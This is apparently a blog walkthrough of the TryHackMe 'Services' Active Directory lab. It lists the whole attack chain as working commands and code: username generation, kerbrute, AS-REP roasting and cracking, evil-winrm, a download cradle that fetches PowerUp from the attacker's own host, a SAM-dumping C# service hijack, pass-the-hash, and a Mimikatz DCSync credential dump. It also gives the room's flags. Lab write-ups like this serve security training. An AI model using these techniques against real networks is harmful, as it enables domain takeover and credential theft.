Sitemap

TryHackMe Services Walkthrough

8 min readSep 21, 2025
Press enter or click to view image in full size

TL;DR Walkthrough of the TryHackMe Services room.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

Overall this was a pretty good room. It stresses

  • Enumeration
  • Generating a username list
  • ASREPRoasting
  • Gaining initial access
  • Local privilege escalation
  • Post compromise ‘actions on the objective’

On an admin note, the asture reader will notice that the TryHackMe VM’s IP changes throughout this walkthrough. This is because I had to restart the room numerous times.

Enumeration

I started out with nmap, as I normally do.

sudo nmap -sC -sV -O 10.201.54.120
Press enter or click to view image in full size

Nice, we already know quite a bit:

  • There’s a webserver running on port 80
  • The VM is a DC for the domain services.local
  • The VM allows RDP connections

Normally TryHackMe VMs, CTFs, etc either leave a share accessible by the Guest user, allow anonymous LDAP enumeration, or have a website that we can glean information from such as potential usernames. Occasionally they run a scheduled task that gives us something to capture with Responder.

I tried the shares and LDAP with no luck. I also enumerated for directories on the webserver.

gobuster dir -u http://10.201.54.120 -w /home/kali/Downloads/SecLists-master/Discovery/Web-Content/big.txt

However all I found was an ‘About Us’ webpage with employee names. That’s fine, we can work with that.

Press enter or click to view image in full size

I saved those four names in Potential_Usernames.txt and ran my custom made Generate-Usernames.ps1

Set-Location ".\THM stuff\Services"
#$Names = @("James Bold", "Rose Bud")
$Names = Get-Content .\Potential_Usernames.txt
$FQDN = "@services.local"
"administrator" + "$FQDN" | Out-File .\Brute.txt -Append
"guest" + "$FQDN" | Out-File .\Brute.txt -Append
ForEach($Name in $Names)
{

$FirstName = $Name.Split('')[0]
$LastName = $Name.Split('')[1]
$FirstInitial = $FirstName.Substring(0,1)
$LastInitial = $LastName.Substring(0,1)
$MangledLast = $LastName.Substring(0,2)
$MangledLast2 = $LastName.Substring(0,1)

"$FirstName.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$MangledLast" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$MangledLast2" + "$FQDN" | Out-File .\Brute.txt -Append
}

$Results = (Get-Content .\Brute.txt).Length
Write-Host "Mishka generated $Results usernames."
Write-Host "Copy/paste the contents of Brute.txt to /home/kali/Downloads/Wordlists/Brute and kerbrute."

I then used Kerbrute to try the results out against the VM’s domain.

/home/kali/Downloads/kerbrute_linux_amd64 userenum -d services.local --dc 10.201.54.120 /home/kali/Downloads/THM/Brute.txt
Press enter or click to view image in full size

Nice, we get 4 hits.

j.doe
administrator
w.master
j.laruss
j.rock

Initial Access

Other rooms like the Red Team Capstone gave us a list of base passwords to try and let us know the password requirements of the domain. That was a big hint that we should try password spraying once we get a list of usernames.

This room didn’t do that though, and I was pretty sure they didn’t expect us to throw rockyou.txt at all 4 usernames. I figured I would try ASREPRoasting the 4 usernames.

/usr/share/doc/python3-impacket/examples/GetNPUsers.py services.local/ -no-pass -usersfile /home/kali/Downloads/RedTeam/users.txt

I copy/pasted the one hash I got from ASREPRoasting into roasted.txt and threw rockyou.txt at it with john.

john --wordlist=/home/kali/rockyou.txt /home/kali/Downloads/THM/roasted.txt
Press enter or click to view image in full size

We get a hit:

j.rock \ Serviceworks1

We can now try enum4linux, smbclient, SharpHound, etc. We have domain credentials.

enum4linux -u services.local\\j.rock -p Serviceworks1 -a 10.201.54.120

I didn’t see any interesting shares though, just the normal SYSVOL and NETLOGON, and just the usernames we already know from Kerbrute.

I guessed j.rock is in the Users Container and ran ldapsearch with their credentials.

ldapsearch -x -H ldap://10.201.54.120 -D "cn=j.rock,cn=users,dc=services,dc=local" -w "Serviceworks1" -b "dc=services,dc=local" "(objectClass=*)" >> services_info.txt

However I didn’t find anything useful that I didn’t already know.

I collected the data and tried BloodHound.

mkdir /home/kali/Downloads/THM/Services
cd /home/kali/Downloads/THM/Services
sudo bloodhound-python -d services.local -u j.rock -p Serviceworks1 -ns 10.201.54.120 -c all
Press enter or click to view image in full size
#Start neo4j
/home/kali/Downloads/neo4j-desktop-1.6.0-x86_x64.AppImage
#Start BloodHound
bloodhound
#Import the collected data

However I only found that j.rock can PSRemote into the DC.

Escalating Privileges

I connected and looked at what groups j.rock is in and what privileges they have.

evil-winrm -i 10.201.54.120 -u j.rock -p Serviceworks1

whoami /groups
whoami /priv
Press enter or click to view image in full size

I then ran the AMSI bypass and ran PowerUp.ps1.

#On Kali
cd /home/kali/Downloads/RedTeam
python3 -m http.server 80
#In our evil-winrm session
iex (New-Object Net.WebClient).DownloadString('http://10.23.20.245/PowerUp.ps1')
Invoke-AllChecks

The VM wouldn’t let PowerUp.ps1 run all its functions however, so I tried manually. Oddly ‘Get-Service’ didn’t want to work either.

services

I targeted ‘cfn-hup’ as it didn’t look too critical. The path is “C:\Program Files\Amazon\cfn-bootstrap\winhup.exe”

I tried using a msfvenom payload, but while it connected it then immediately disconnected. It seems I can only run one or two commands or a program or script before the service fails. I remembered a TTP I had used awhile back to compile a C program that dumps the SAM and figured why not use it here.

I have it saved as backup.cs. It’s come in quite handy.

using System;
using System.Diagnostics;
class Program
{
static void Main()
{

ExecuteCommand("reg.exe", "save HKLM\\SYSTEM C:\\Users\\j.rock\\Documents\\system.bak");
ExecuteCommand("reg.exe", "save HKLM\\SECURITY C:\\Users\\j.rock\\Documents\\security.bak");
ExecuteCommand("reg.exe", "save HKLM\\SAM C:\\Users\\j.rock\\Documents\\sam.bak");

Console.WriteLine("Backup completed successfully.");
}
static void ExecuteCommand(string command, string arguments)
{
Process process = new Process();
process.StartInfo.FileName = command;
process.StartInfo.Arguments = arguments;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
if (process.ExitCode != 0)
{
Console.WriteLine("Error: " + output);
}
}
}

I compiled backup.cs on Kali, uploaded it via evil-winrm, dumped the SAM on the VM, downloadeded the dump files to Kali via evil-winrm, and dumped if offline using secretsdump. Pretty nifty little trick, if I may say so myself.

#In a BASH tab on Kali
sudo apt install mono-complete
mcs backup.cs
#In our evil-winrm session on the VM
upload backup.exe
sc.exe config cfn-hup binpath="C:\Users\j.rock\Documents\backup.exe"
sc.exe start cfn-hup
ls
download sam.bak
download system.bak
#Back on Kali
/usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Press enter or click to view image in full size

We get

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8b12da25dea43f49cc24260308d8b51f:::

Post Compromise

/usr/share/doc/python3-impacket/examples/wmiexec.py services.local/administrator@10.201.100.249 -hashes aad3b435b51404eeaad3b435b51404ee:8b12da25dea43f49cc24260308d8b51f

whoami /groups
Press enter or click to view image in full size

Wait, this is a DC. Why was I able to dump the SAM and then get Domain Admin? The SAM has the hash of the DSRM account, not services.local\Administrator’s hash.

Unless … the room’s author didn’t change the Administrator or DSRM passwords when they promoted the VM to the first DC in a new AD forest.

I simply abused my newly found Domain Admin privileges to promote j.rock.

net group "Domain Admins" j.rock /add /domain

I then RDPed into the VM as j.rock.

xfreerdp /v:10.201.59.231 /u:j.rock /p:Serviceworks1 +clipboard /dynamic-resolution /cert:ignore /drive:share,/home/kali/Downloads/RedTeam

The room’s author did something really screwy though, j.rock couldn’t access the Administrator’s profile even if they ran PowerShell as Admin. In order to get around this I simply copy/pasted PsExec.exe from the Kali share I had mapped via xfreerdp and ran PowerShell as NT AUTHORITY\SYSTEM.

C:\Users\j.rock\Desktop\PsExec.exe -s -i PowerShell.exe

Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line
Press enter or click to view image in full size

Grabbing any data we want off the C: drive that way is another pretty nifty trick. I will have to add that to my ‘Master AD Cheat Sheet’ later. It’s quite handy to quickly get around any NTFS read restrictions on our rights.

Naturally I dumped NTDS.dit before I left the DC alone. After all I had a full GUI session as a Domain Admin and I’d hate to let that go to waste. Besides, I just love dumping credentials. I’m weird like that.

I copy/pasted Invoke-Mimi.ps1 from the Kali share to j.rock’s Desktop.

. .\Invoke-Mimi.ps1
Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::dcsync /dc:WIN-SERVICES /domain:services.local /all"' | Out-File .\AllServiceHashes.txt

I then copy/pasted AllServiceHashes.txt to the Kali share. If we were on a Red Team engagement we could show full compromise with that file and/or maintain persistence with the krbtgt hash.

Q&A

There are only two questions in this room.

What is the user flag?

THM{ASr3p_R0aSt1n6}

What is the Administrator flag?

THM{S3rv3r_0p3rat0rS}

Summary

Overall Services was a pretty good room. Like many AD rooms on TryHackMe, including the one I created, it suffers from TryHackMe’s one VM per room limitation. It would have been a really good room if it could have had two VMs, one a domain workstation and the second one the DC. The room’s author could have had us gain initial access to the workstation, abuse services to get local admin, dump credentials, find an escalation path to Domain Admin from the user’s creds we dumped, and then p0wn the domain.

It’s not the room author’s fault though, that’s TryHackMe and their limitations. I also give them a lot of credit for throwing a nice twist in there at the end and forcing me to use PsExec to run a CLI as NT AUTHORITY\SYSTEM in order to read the Administrator’s flag. That was a nice touch, kudos to them.

References

Server Operators group: https://notes.dollarboysushil.com/windows-privilege-escalation/group-privileges/server-operators

Escalating privileges via Server Operators: https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/

cfn-hup service: https://docs.aws.amazon.com/AWSCloudFormation/latest/TemplateReference/cfn-hup.html

Metasploit listener: https://docs.rapid7.com/metasploit/use-meterpreter-locally-without-an-exploit/

Compile C in Linux: https://www.geeksforgeeks.org/linux-unix/how-to-compile-decompile-and-run-c-code-in-linux/

Dumping the SAM offline: https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets

Well known SIDs in AD: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet